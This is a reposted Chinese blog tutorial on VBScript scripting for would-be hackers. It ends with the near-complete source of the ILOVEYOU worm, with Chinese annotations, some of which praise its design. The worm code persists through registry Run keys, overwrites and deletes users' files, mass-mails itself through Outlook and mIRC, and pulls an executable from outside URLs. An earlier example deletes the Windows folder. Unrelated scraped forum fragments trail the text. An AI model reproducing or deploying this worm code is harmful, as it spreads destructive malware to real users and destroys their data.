- ubuntu12.04环境下使用kvm ioctl接口实现最简单的虚拟机
- Ubuntu 通过无线网络安装Ubuntu Server启动系统后连接无线网络的方法
- 在Ubuntu上搭建网桥的方法
- ubuntu 虚拟机上网方式及相关配置详解
CFSDN坚持开源创造价值,我们致力于搭建一个资源共享平台,让每一个IT人在这里找到属于你的精彩世界.
这篇CFSDN的博客文章vbscript,jscript脚本编程教学(1)由作者收集整理,如果你对这篇文章有兴趣,记得点赞哟.
论坛上好多朋友都问关于脚本的问题,正好最近对脚本比较有兴趣,就写点东西吧。首先说明一下,我的所有代码都是vbscript,jscript我没有研究过,不过我想也差不多。 关于最基础的语法比如变量的申明,分支,循环,函数的调用,等等这些我就不讲了,不懂得自己看一下。 1、我们的第一个vbs程序:还是那个老得掉牙的冬冬。 ************************hello.vbs************************** dim hello hello=”hello world!” wscript.echo hello wscript echo “ this is my first vbs” 可以看出wscript.echo有两种用法,这个不难。 可以直接双击运行,可以在当前目录的命令行输入: cscript hello.vbs 2、在脚本中调用其他的程序: 使用run()方法,在使用前必须先建立shell的实例 ********************shell.vbs****************************************** set ws=wscript.createobject("wscript.shell") ret=ws.run ("notepad" ,3,true) if ret=0 then wscript.echo “succeed!” else wscript.echo “there is a error,the error number is:” wscript.echo cstr(ret) end if *************************************************************************** 这里run 有三个参数,第一个参数是你要执行的程序的路径 第二个程序是窗口的形式,0是在后台运行; 1表示正常运行 2表示激活程序并且显示为最小化 3表示激活程序并且显示为最大化 一共有10个这样的参数我只列出了4个最常用的。 第三个参数是表示这个脚本是等待还是继续执行,如果设为了true,脚本就会等待调用的程序退出后再向后执行。 注意到没有,我在run的前面还有一个接受返回值的变量,一般来说如果返回为0,表示成功执行,如果不为0,则这个返回值就是错误代码,可以通过这个代码找出相应的错误。 3、inputbox 和msgbox 会vb的人对着两个东西应该很熟悉,用法也没什么差别 input=inputbox(“please enter you password”,”passwd”) if input<>”1234” then msgbox “you enter a wrong passwd” end if 当然你也可以给msgbox添加按钮,用一个变量接受用户的选择 例如:ret=msgbox “continue?”,vbyesnocancel 返回值和常量对照如下: vbok 1 vbcancel 2 vbabort 3 vbretry 4 vbignore 5 vbyes 6 vbno 7 4、错误处理 何vb一样用on error resume next 这个没什么好说的,如果遇到了错误就跳过继续执行下一句 当然这个方法很弱智,还需要有一个方法,vbscript提供了一个对象err对象 他有两个方法clear,raise 5个属性:description,helpcontext ,helpfile,number,source 我们可以利用err.number获得错误号例如 ***********************err.vbs***************************** on error resume next a=11 b=0 c=a/b if err.number<>0 then wscript.echo err.number & err.description & err.source end if 我们可以用err.raisel来手工抛出错误 比如我们要产生一个path not found的错误 告诉用户,他填写的路径不对 on error resume next err.raise 76 msgbox "error :" & err.description err.clear 以上都是基础,今天就写到这里吧,好累哦,呵呵呵 如有转载注明出处。明天给大家讲文件系统吧。 vbscript脚本编程教程2 by sssa2000 7/7/2004 我们来看一看怎么利用fso来进行文件操作。Fso时vbs里进行文件操作的核心。作为黑客,不管学习什么语言,对文件的操作都应该是要了如指掌的,所以请大家仔细学习。 不说废话,先看fso由哪几个对象组成: drive对象:包含储存设备的信息,包括硬盘,光驱,ram盘,网络驱动器 drives集合:提供一个物理和逻辑驱动器的列表 file 对象:检查和处理文件 files 集合:提供一个文件夹中的文件列表 folder对象:检查和处理文件夹 folders集合:提供文件夹中子文件夹的列表 textstream对象:读写文本文件 看看fso的方法:由于很多,所以我不会把每个的作用写出来,如果有不懂的,自己查一下msdn。不要说没有哦 bulidpath:把文件路径信息添加到现有的文件路径上 copyfile copyfolder createfolder createtextfile deletefile deletefolder dreveexits fileexits folderexists getabsolutepathname:返回一个文件夹或文件的绝对路径 getbasename:返回一个文件或文件夹的基本路径 getdrive:返回一个dreve对象 getdrivename:返回一个驱动器的名字 getextensionname:返回扩展名 getfile:返回一个file对象 getfilename:返回文件夹中文件名称 getfolder getparentfoldername:返回一个文件夹的父文件夹 getspecialfolder:返回指向一个特殊文件夹的对象指针 gettempname:返回一个可以被createtextfile使用的随机产生的文件或文件夹的名称 movefile movefolder opentextfile 好了,看到这里我想大家也明白了一大半,可能后面都不用我多说了,脚本就是这么简单,呵呵呵,还是继续把。 1、使用fso 由于fso不是wsh的一部分,所以我们需要建立他的模型 例如set fs=wscript.createobject(“scripting.filesystemobject”) 这样就建立了fso的模型。如果要释放的话也很简单,set fs=nothing 2、使用文件夹 创建: 在创建前我们需要检查是否存在,看一下程序 ***************************createfolder.vbs***************************** dim fs,s set fs=wscript.createobject(“scripting.filesystemobject”) if (fs.folderexists(“c:\temp”)) then s=”is available” else s=”not exist” set foldr=fs.createfolder(“c:\temp”) end if 删除、拷贝、移动 删除: set fs=wscript.createobject(“scripting.filesystemobject”) fs.deletefolder(“c:\windows”) 拷贝: set fs=wscript.createobject(“scripting.filesystemobject”) fs.copyfolder “c:\data” “d:\data” 注意,如果这个时候c:\data 和d:\data都存在,会出错,复制也就会停止,如果要强制覆盖,使用fs.copyfolder “c:\data” “d:\data”,true 移动 set fs=wscript.createobject(“scripting.filesystemobject”) fs.movefolder “c:\data” “d:\data” 关于通配符: 我们可以使用统配符,来方便操作: 例如, fs.movefolder :c:\data\te*” , “d:\working” 注意到没有,我在目的路径最后没有使用“\” 也就是说我没有这样写: fs.movefolder :c:\data\te*” , “d:\working\” 这样写的话,如果d:\working 目录不存在,windows就不会为我们自动创建这个目录。 还有一点,大家注意到没有 上面说的都没有涉及到folder对象,我们都是在利用fso提供的方法,当然利用folder一样可以的: set fs= wscript.createobject(“scripting.filesystemobject”) set f=fs.getfolder(“c:\data”) f.delete ‘删除。如果有子目录,也会被删除 f.copy “d:\working”,true ‘拷贝到d:\working f.move :”d:\temp” ‘移动到d:\temp 特殊文件夹 一般指的就是系统文件夹:\windows\system32, 临时文件夹,windows文件夹 看下面,我们使用环境变量来获得windows目录,关于环境变量我们会在后面详细讲道,如果我忘记了 请大家提醒我 set fs=wscript.createobject(“scripting.filesystemobject”) set wshshell=wscript.createobject(“wscript.shell”) osdir=wshshell.expandenvironmentstrings(“%systemroot%”) set f =fs.getfolder(osdir) wscript.echo f 当然,还有简单的方法 那就是使用getspecialfolder() 这个方法使用3种值: 0 表示windows文件夹,相关常量是windowsfolder 1 系统文件夹,相关常量是systemfolder 2 临时目录,相关常量temporaryfolder 看下面的例子: ***********************************getspecialfolder*************************** set fs=wscript.createobject(“scripting.filesystemobject”) set wfolder=fs.getspecialfolder(0) ‘返回windows目录 set wfolder=fs.getspecialfolder(1) ‘返回system32\ set wfolder=fs.getspecialfolder(2)'返回临时目录 3、使用文件 使用文件属性: 文件夹的属性我没有说,大家可以从文件属性里举一反三 文件属性常用的就是: normal 0 readonly 1 hideen 2 system 4 set fs=wscript.createobject(“scripting.filesystemobject”) set f=fs.gerfile(“d:\index.txt”) f.attributes=f.attributes+1 这里由于不知道d:\index.txt的文件属性,所以会发生不可预测的结果,如果文件的属性是0,那么就会变成1。所以最好在改变属性前查询 创建 创建前需要检查文件是否存在,方法和前面说的文件夹的方法一样 *****************************file.vbs********************************** set fs=wscript.createobject(“scripting.filesystemobject”) if fs.fileexists(“c:\asd.txt”) then s=” available” else s=not exist” set f=fs.createtextfile(“c:\asd.txt”) end if 当然 我们也可以使用set f=fs.createtextfile(“c:\asd.txt”,true) 来强制覆盖已存在的文件。 复制移动删除文件 和文件夹一样 我们既可以使用fso提供的方法也可以用file对象 set fs=wscript.createobject(“scripting.filesystemobject”) fs.copyfile “c:\asd.txt”,”d:\1\asd.txt”,true ‘复制文件,如果已存在就强制覆盖 fs.movefile “c:\asd.txt”, “d:\” ‘移动 fs.deletefile “c:\asd.txt” ‘删除 好了,下一章我们就要学习文件的读写了,文件的读写是文件系统,尤其是黑客编程里面十分重要的一部分,今天打字可能有很多错误,大家看的时候仔细一点,不懂得多看看msdn, 要提高水平只有靠自己,别人是帮不了你的 Vbscript 脚本编程3 关于文件的读写 By sssa2000 7/9/2004 使用vbscript来读写文件,十分的方便,废话少说,切入正题。 1、打开文件 使用opentextfile方法 set fs =createobject(“scripting.filesystemobject”) set ts=fs.opentextfile(“c:\1.txt”,1,true) 注意这里需要填入文件的完整路径,后面一个参数为访问模式 1为forreading 2为forwriting 8为appending 第三个参数指定如果指定文件不存在,是否创建。 2、读取文件 读取文件的方法有三个 read(x)读取x个字符 readline读取一行 readall全部读取 例如: set fs =createobject(“scripting.filesystemobject”) set ts=fs.opentextfile(“c:\1.txt”,1,true) value=ts.read(20) line=ts.readline contents=ts.readall 这里还要介绍几个指针变量: textstream对象的atendofstream属性。当处于文件结尾的时候这个属性返回true.我们可以用循环检测又没有到达文件末尾。例如: set fs =createobject(“scripting.filesystemobject”) set f=fs.getfile(“c:\1.txt”,1,false) set ts=f.openastextstream(1,0) do while ts.atendofstream<>true f.read(1) loop 还有一个属性,atendofline,如果已经到了行末尾,这个属性返回true. Textstream对象还有两个有用的属性,column和line. 在打开一个文件后,行和列指针都被设置为1。 看一个综合的例子吧: *******************************read.vbs****************************** set fs =createobject(“scripting.filesystemobject”) set f=fs.opentextfile(“c:\1.txt”,1,true) do while f.atendofstream<>true data=”” for a=1 to 5 if f.atendofstream<>true then data=data+f.readline end if next dataset=dataset+1 wscript.echo “data set” &dataset & ”:” & data loop 最后说一下在文件中跳行 skip(x) 跳过x个字符 skipline 跳过一行 用法也很简单 和前面一样,就不说了。 3、写文件 可以用forwriting和forappending方式来写 写有3各方法: write(x) writeline writeblanklines(n) 写入n个空行 来看一个例子: ***************************************************************** data=”hello, I like script programing” set fs =createobject(“scripting.filesystemobject”) if (fs.fileexists(“c:\2.txt”)) then set f =fs.opentextfile(“c:\2.txt”,8) f.write data f.writeline data f.close else set f=fs.opentextfile(“c:\2.txt”,2, true) f.writeblanklines 2 f.write data f.close end if 注意 写完文件以后一定要关闭!!!!!!! 还有就是,如果要读文件又要写文件,读完之后一定也要记得关闭,这样才能以写的方式打开。 好了 关于文件都说完了,实际运用中还有可能牵扯到关于字符串的操作。 后面的1章里面,我打算写一点驱动器和注册表的内容,脚本编程内容也很丰富,我也只讲关于黑客方面的。今天好累啊,还有就是请大家不要在论坛灌水了,我每天都删贴,这样也不好,论坛是大家的,我每天写一些原创的东西也就是为了让我们的论坛和别的论坛有些不同,我一个人力量有限,还要靠大家的力量,我打算在论坛上找几个人一论坛的名义一起编个软件,这样我们的论坛也算有点名声。 很晚了,休息了。 ######################################################################################################################### Vbscript编程5 注册表,修改注册表是编程的一个基本技能,脚本编程当然也不例外。 这里,我就不再讲解注册表的基本结构。 1、读注册表的关键词和值: 可以通过把关键词的完整路径传递给wshshell对象的regread方法 例如: set ws=wscript.createobject("wscript.shell") v=ws.regread("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\nwiz") wscript.echo v 2、写注册表 有读就有写了,使用wshshell对象的regwrite方法 看例子: path="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" set ws=wscript.createobject("wscript.shell") t=ws.regwrite(path & "jj","hello") 这样就把 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\jj这个键值改成了hello.不过要注意:这个键值一定要预先存在。 如果要创建一个新的关键词,同样也是用这个方法。 path="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\run\sssa2000\love\" set ws=wscript.createobject("wscript.shell") val=ws.regwrite(path,"nenboy") val=ws.regread(path) wscript.echo val 删除关键字和值 使用regdelete方法,把完整的路径传递给regdelete就可以了 例如 val=ws.regdel(path) 注意,如果要删除关键词的值的话 一定要在路径最后加上“\”,如果不加斜线,就会删除整个关键词。 好了 ,最基本的脚本编程也就讲完了,其实脚本编写也很简单,你们看看下面这个曾经很出名的 Love Letter病毒的源代码, 除了邮件那部分我没讲,其他的都是一目了然吧? rem barok -loveletter(vbe) <i hate go to school> rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philip pines ' 注释:程序作者的签名(可能) On Error Resume Next dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow eq="" ctr=0 Set fso = CreateObject("Scripting.FileSystemObject") ' 注释:FileSystemObject是M$ VBVM系统中最危险的部分,它的功能十分强大 ' 从病毒使用FSO可以知道,通过修改注册表,可以轻易防止 Love Letter发作。 set file = fso.OpenTextFile(WScript.ScriptFullname,1) '返回当前脚本的完整路径 vbscopy=file.ReadAll main() ' 注释 - 程序初始化完成。 sub main() On Error Resume Next dim wscr,rr set wscr=CreateObject("WScript.Shell") rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scriptin g Host\Settings\Timeout") if (rr>=1) then wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD" ' 注释 - 防止操作超时造成的程序终止。 ' 应该说,编写病毒的程序员考虑到了可能发生的问题,这一点值得所有的编程 者借鉴。 end if Set dirwin = fso.GetSpecialFolder(0) Set dirsystem = fso.GetSpecialFolder(1) Set dirtemp = fso.GetSpecialFolder(2) ' 获取系统关键文件夹的名称 ' VB编程时可以用。 Set c = fso.GetFile(WScript.ScriptFullName) '返回当前脚本的完整路径 c.Copy(dirsystem&"\MSKernel32.vbs") 'Copies a specified file or folder from one location to another. c.Copy(dirwin&"\Win32DLL.vbs") c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") ' 复制自身到关键目录中备用。 ' 文件名并不是很好。太容易被发现了。 regruns() html() spreadtoemail() listadriv() end sub sub regruns() ' 修改注册表,以便自动装载病毒程序 ' 预防:经常检查注册表中的这一分支。 ' 已知的方法还有把HTA放入Startup文件夹。病毒程序使用的方法更先进, ' 因为它不会因为语言问题而失效。 On Error Resume Next Dim num,downread regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersio n\Run\MSKernel32",dirsystem&"\MSKernel32.vbs" regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersio n\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs" downread="" downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explore r\Download Directory") if (downread="") then downread="c:\" end if if (fileexist(dirsystem&"\WinFAT32.exe")=1) then Randomize num = Int((4 * Rnd) + 1) if num = 1 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnj w6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe" elseif num = 2 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe 546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe" elseif num = 3 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnm POhfgER67b3Vbvg/WIN-BUGSFIX.exe" elseif num = 4 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkh YUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-B UGSFIX.exe" end if end if if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersio n\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe" regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main \Start Page","about:blank" end if end sub sub folderlist(folderspec) ' 遍历文件夹 On Error Resume Next dim f,f1,sf set f = fso.GetFolder(folderspec) set sf = f.SubFolders '得到某一特定文件夹的所有子文件夹,包括系统隐藏文件夹 for each f1 in sf 'f1为每一个子文件夹的对象 infectfiles(f1.path) '传染文件的操作 folderlist(f1.path) '再次进行文件夹遍历 next end sub sub listadriv ' 遍历所有驱动器。 On Error Resume Next Dim d,dc,s Set dc = fso.Drives For Each d in dc If d.DriveType = 2 or d.DriveType=3 Then '2.3分别为硬盘和网络共享盘 folderlist(d.path&"\") end if Next listadriv = s end sub function fileexist(filespec) ' 判断文件是否存在 ' 纯粹从技术角度讲,这段程序写的不怎么样。 ' 不用写这么长就能够实现相同的功能 On Error Resume Next dim msg if (fso.FileExists(filespec)) Then msg = 0 else msg = 1 end if fileexist = msg end function function folderexist(folderspec) ' 判断文件夹是否存在 ' 和上一段程序一样臭。 On Error Resume Next dim msg if (fso.GetFolderExists(folderspec)) then msg = 0 else msg = 1 end if fileexist = msg end function sub infectfiles(folderspec) ' 执行传染文件的操作。 On Error Resume Next dim f,f1,fc,ext,ap,mircfname,s,bname,mp3 set f = fso.GetFolder(folderspec) set fc = f.Files '得到某一特定文件夹的所有文件,包括系统隐藏文件 for each f1 in fc ext=fso.GetExtensionName(f1.path) '得到扩展名 ext=lcase(ext) '转变为小写 s=lcase(f1.name) if (ext="vbs") or (ext="vbe") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy 'vbscopy=file.ReadAll ap.close elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext= "sct") or (ext="hta") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close bname=fso.GetBaseName(f1.path) set cop=fso.GetFile(f1.path) cop.copy(folderspec&"\"&bname&".vbs") fso.DeleteFile(f1.path) elseif(ext="jpg") or (ext="jpeg") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close set cop=fso.GetFile(f1.path) cop.copy(f1.path&".vbs") fso.DeleteFile(f1.path) elseif(ext="mp3") or (ext="mp2") then set mp3=fso.CreateTextFile(f1.path&".vbs") mp3.write vbscopy mp3.close set att=fso.GetFile(f1.path) att.attributes=att.attributes+2 end if if (eq<>folderspec) then if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="scri pt.ini") or (s="mirc.hlp") then set scriptini=fso.CreateTextFile(folderspec&"\script.ini") scriptini.WriteLine "[script]" scriptini.WriteLine ";mIRC Script" scriptini.WriteLine "; Please dont edit this script... mIRC will corru pt, if mIRC will" scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks" ' 病毒作者的英文恐怕没学好……不过,这样吓唬人也够损的了。 ' 这里提醒各位注意,不要在乎那些吓人的文字,仔细观察就会发现漏洞其实不 少。 scriptini.WriteLine ";" scriptini.WriteLine ";Khaled Mardam-Bey" scriptini.WriteLine ";http://www.mirc.com" scriptini.WriteLine ";" scriptini.WriteLine "n0=on 1:JOIN:#:{" scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }" scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FO R-YOU.HTM" scriptini.WriteLine "n3=}" ' 注意,这样做的结果是,MIRC也能够传染病毒。 scriptini.close eq=folderspec end if end if next end sub sub regcreate(regkey,regvalue) ' 修改注册表(创建键值) ' 这个程序似乎是微软的示范程序。 Set regedit = CreateObject("WScript.Shell") regedit.RegWrite regkey,regvalue end sub function regget(value) ' 这个程序似乎也是微软的示范程序。(WSH示范,在Windows文件夹) Set regedit = CreateObject("WScript.Shell") regget=regedit.RegRead(value) end function sub spreadtoemail() ' 通过电子邮件扩散 On Error Resume Next dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad set regedit=CreateObject("WScript.Shell") set out=WScript.CreateObject("Outlook.Application") ' 病毒的局限:只支持Outlook,而Outlook Express则不支持。 set mapi=out.GetNameSpace("MAPI") for ctrlists=1 to mapi.AddressLists.Count set a=mapi.AddressLists(ctrlists) x=1 regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a) if (regv="") then regv=1 end if if (int(a.AddressEntries.Count)>int(regv)) then for ctrentries=1 to a.AddressEntries.Count malead=a.AddressEntries(x) regad="" regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&male ad) if (regad="") then set male=out.CreateItem(0) male.Recipients.Add(malead) male.Subject = "ILOVEYOU" ' 病毒得名的原因 ' 见到这样的邮件,肯定是病毒。 ' 头脑正常的人恐怕不会这样直白的。 male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from m e." male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") male.Send regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1, "REG_DWORD" end if x=x+1 next regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.Addre ssEntries.Count else regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.Addre ssEntries.Count end if next Set out=Nothing Set mapi=Nothing end sub sub html ' 从技术角度说,这段程序写得很漂亮,原因在于充分地利用了 Outlook 的资源 ' 值得编写程序的借鉴。 ' 程序中间的_符号是连接线,所以注释写在这里。 ' 程序中无效语句很多,浪费了不少空间。 On Error Resume Next dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6 dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META NAME=@-@Gene rator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _ "<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-? @G RAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _ "<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is go od...@-@>"&vbcrlf& _ "<?-?HEAD><BODY ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LO VE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ "&vbcrlf& _ "ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YO U.HTM#-#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@ >"&vbcrlf& _ "<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to r ead this HTML file<BR>- Please press #-#YES#-# button to Enable Active X<?-?p>"&vbcrlf& _ "<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@>-------- --z--------------------z----------<?-?MARQUEE> "&vbcrlf& _ "<?-?BODY><?-?HTML>"&vbcrlf& _ "<SCRIPT language=@-@JScript@-@>"&vbcrlf& _ "<!--?-??-?"&vbcrlf& _ "if (window.screen){var wi=screen.availWidth;var hi=screen.availHeight ;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbcrlf& _ "?-??-?-->"&vbcrlf& _ "<?-?SCRIPT>"&vbcrlf& _ "<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _ "<!--"&vbcrlf& _ "on error resume next"&vbcrlf& _ "dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _ "aw=1"&vbcrlf& _ "code=" dta2="set fso=CreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf& _ "set dirsystem=fso.GetSpecialFolder(1)"&vbcrlf& _ "code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _ "code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _ "code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _ "set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf & _ "wri.write code4"&vbcrlf& _ "wri.close"&vbcrlf& _ "if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _ "if (err.number=424) then"&vbcrlf& _ "aw=0"&vbcrlf& _ "end if"&vbcrlf& _ "if (aw=1) then"&vbcrlf& _ "document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _ "window.close"&vbcrlf& _ "end if"&vbcrlf& _ "end if"&vbcrlf& _ "Set regedit = CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _ "regedit.RegWrite @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windo ws^-^CurrentVersion^-^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.v bs@-@"&vbcrlf& _ "?-??-?-->"&vbcrlf& _ "<?-?SCRIPT>" dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'") dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""") dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/") dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\") dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'") dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""") dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/") dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\") set fso=CreateObject("Scripting.FileSystemObject") set c=fso.OpenTextFile(WScript.ScriptFullName,1) lines=Split(c.ReadAll,vbcrlf) l1=ubound(lines) for n=0 to ubound(lines) lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91)) lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93)) lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37)) if (l1=n) then lines(n)=chr(34)+lines(n)+chr(34) else lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _" end if next set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM") b.close set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2) d.write dt5 d.write join(lines,vbcrlf) d.write vbcrlf d.write dt6 d.close end sub 。
最后此篇关于vbscript,jscript脚本编程教学(1)的文章就讲到这里了,如果你想了解更多关于vbscript,jscript脚本编程教学(1)的内容请搜索CFSDN的文章或继续浏览相关文章,希望大家以后支持我的博客! 。
总的来说,我认为我可以很好地传达大多数与编程相关的概念。 然而,我仍然觉得很难总结字段、类和包之间的关系。 你如何概括“字段”、“类”和“包”以及“它们的关系”? 最佳答案 自从我教授 C、C++ 和
就目前情况而言,这个问题不太适合我们的问答形式。我们希望答案得到事实、引用资料或专业知识的支持,但这个问题可能会引发辩论、争论、民意调查或扩展讨论。如果您觉得这个问题可以改进并可能重新开放,visit
按照目前的情况,这个问题不适合我们的问答形式。我们希望答案得到事实、引用或专业知识的支持,但这个问题可能会引发辩论、争论、投票或扩展讨论。如果您觉得这个问题可以改进并可能重新打开,visit the
关闭。这个问题不符合Stack Overflow guidelines .它目前不接受答案。 我们不允许提问寻求书籍、工具、软件库等的推荐。您可以编辑问题,以便用事实和引用来回答。 关闭 6 年前。
我从 glassfish 服务器上运行的 Web 应用程序发送邮件,使用 Java 邮件 API 非常容易。 我现在开始将文件(主要是 pdf 和 odt)附加到邮件中,这可以工作,但附件的 mime
我是一名优秀的程序员,十分优秀!